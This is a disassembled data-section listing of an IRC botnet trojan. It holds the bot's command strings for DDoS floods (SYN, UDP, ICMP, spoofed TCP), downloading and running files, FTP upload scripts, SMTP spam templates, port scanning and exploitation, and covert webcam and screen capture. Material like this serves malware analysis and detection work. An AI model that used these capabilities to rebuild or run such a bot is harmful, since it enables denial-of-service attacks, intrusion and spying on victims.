dword_43633C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413631o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_43638C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B5o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_4363C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Fo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_436410	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413588o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_436454	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4706o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FCo
		align 4
dword_436498	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Do
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_4364CC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4647o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413465o
dword_436508	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413452o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_436550	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41344Bo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_43658C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C9o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413402o
		align 10h
dword_4365D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4578o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_4365F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4534o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_436638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4518o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_43666C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4498o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_436698	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4461o
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4366C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4413o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_4366F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A2o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436714	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o
					; sub_40EE72+4E78o
dword_436720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4341o
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+4330o
		align 4
dword_436758	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4307o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_436784	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4299o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4367B0	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+4241o
dword_4367B8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4214o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_4367E4	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41BBo
					; sub_40EE72+4CAFo
dword_4367EC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co
dword_4367F8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4132o
dword_436800	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F91o
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_436844	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E8o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4094o
		align 4
dword_436874	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBEo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_436898	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Co
					; sub_40EE72+40BFo ...
unk_4368A8	db    2			; DATA XREF: sub_40EE72:loc_412E2Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4368FC	db    2			; DATA XREF: sub_40EE72+3FAFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_436948	db    2			; DATA XREF: sub_40EE72+3F40o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E97o
		align 10h
dword_436990	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E35o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4369B8	db    2			; DATA XREF: sub_40EE72+3E2Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4369EC	db    2			; DATA XREF: sub_40EE72+3DA2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_436A38	db    2			; DATA XREF: sub_40EE72+3D28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_436A78	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AFBo
					; sub_40EE72:loc_413964o
		dd 0BBBB0220h, 2002h
unk_436A94	db    2			; DATA XREF: sub_40EE72+3C71o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_436AC8	db    2			; DATA XREF: sub_40EE72:loc_412AC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_436B10	db    2			; DATA XREF: sub_40EE72+3C45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436B58	db    2			; DATA XREF: sub_40EE72+3BD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_436B94	db    2			; DATA XREF: sub_40EE72+3B4Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_436BDC	db    2			; DATA XREF: sub_40EE72+3ADFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_436C1C	db    2			; DATA XREF: sub_40EE72+3A57o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436C64	db    2			; DATA XREF: sub_40EE72+39E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_436CA4	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+394Ao
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CEC	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D9o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_436D28	db    2			; DATA XREF: sub_40EE72+3860o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436D78	db    2			; DATA XREF: sub_40EE72+37F1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_436DB4	db    2			; DATA XREF: sub_40EE72+371Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_436E08	db    2			; DATA XREF: sub_40EE72+36B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E54	db    2			; DATA XREF: sub_40EE72+3622o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436EA0	db    2			; DATA XREF: sub_40EE72+35B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Fo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3432o
		align 4
dword_436F0C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A4o
					; sub_40EE72+43F1o
unk_436F18	db    2			; DATA XREF: sub_40EE72+3342o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436F60	db    2			; DATA XREF: sub_40EE72+32D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A8o
					; sub_40EE72+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+32A1o
					; sub_40EE72+50D6o
		align 4
unk_436FE4	db    2			; DATA XREF: sub_40EE72+3163o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_437028	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_437074	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_4370BC	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_43712C	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_437174	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4371CC	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_437214	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43725C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_4372B0	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4372E8	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_437324	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_43739C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_4373F4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 10h
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 10h
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 10h
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 10h
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
